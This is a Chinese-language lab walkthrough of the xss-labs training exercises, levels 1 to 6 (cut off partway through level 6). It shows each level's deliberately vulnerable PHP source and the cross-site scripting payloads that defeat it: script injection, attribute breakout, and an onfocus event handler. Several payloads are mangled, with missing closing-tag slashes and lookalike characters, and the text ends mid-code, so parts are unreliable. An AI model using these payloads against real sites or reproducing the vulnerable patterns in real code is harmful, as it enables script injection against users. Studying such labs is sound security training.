我们来看看第一关,看一下源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "欢迎用户"
.$str."";
?>
<center><img src=level1.png></center>
<?php
echo "payload的长度:"
.strlen($str)."";
?>
</body>
</html>
观察源代码可以看到变量$str,GET了一个变量,并没有做什么过滤,可以在这里进行XSS注入
http://127.0.0.1/xss-labs-master/level1.php?name=<script>alert(1)script>
第一关完成了
首先我们还是先看一下这一关
我先尝试在搜索框注入,但是好像没啥用
看一下源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
$str.'">
';
?>
<center><img src=level2.png></center>
<?php
echo "payload的长度:"
.strlen($str)."";
?>
</body>
</html>
可以看到有一个函数htmlspecialchars()
我们再看一下网页的源代码
可以看到在
http://192.168.92.157/xss-labs-master/level2.php?keyword="><script>alert('xss')script>//
可以看到成功执行了,这关也成功的注入了,看一下网页源代码
从图中可以看出,在标签中的恶意代码依然被编码了。但是在下方
标签中我们提交的代码成功的对引号和标签进行了闭合,这样浏览器就能成功执行js代码了。在我们构造的恶意代码中最后的//是为了将后面的">注释掉。
<input name=keyword value=""><script>alert('xss')script>//">
直接看一下源代码,现在value参数值也被htmlspecialchars函数检测了一遍,第二关的方法不能用了
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和"
.htmlspecialchars($str)."相关的结果."."
";
?>
<center><img src=level3.png></center>
<?php
echo "payload的长度:"
.strlen($str)."";
?>
</body>
</html>
发现过滤了很多,像<,>,=
这些都被过滤了,尝试了很多都没能成功。
这里get到一个新的知识点
通过标签的一些特殊事件来执行js代码
payload:
level3.php?keyword='οnfοcus=javascript:alert('xss') > //
输入payload的时候,并没有以往的成功的弹窗跳出来
这是因为onfocus事件的特殊性造成的
onfocus 事件在对象获得焦点时发生。
onfocus 通常用于 <input>, <select>, 和<a>.
最简单的实例就是网页上的一个输入框,当使用鼠标点击该输入框时,输入框被选中可以输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onfocus事件.因此点击当前页面的输入框就可以完成弹框了。
看一下这一关的页面
我这边尝试用第三关的方法去注入,但是失败了,然后我们看一下页面源代码,发现第三关的单引号变成双引号了
这下我们改成双引号注入
XSS注入成功
我们来看一下第五关
尝试一下最简单的XSS语句,发现有过滤
尝试第三第四关的方法,发现也有过滤
此处既然无法通过标签或触发事件来执行js代码的话,那么可以换一个标签来执行js代码。
payload:
?keyword=">xss//
XSS测试完成
注定是难搞的一关,第五关的方法也失败了,之前几关的方法我就不尝试了,肯定也是不行的
我们看一下源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("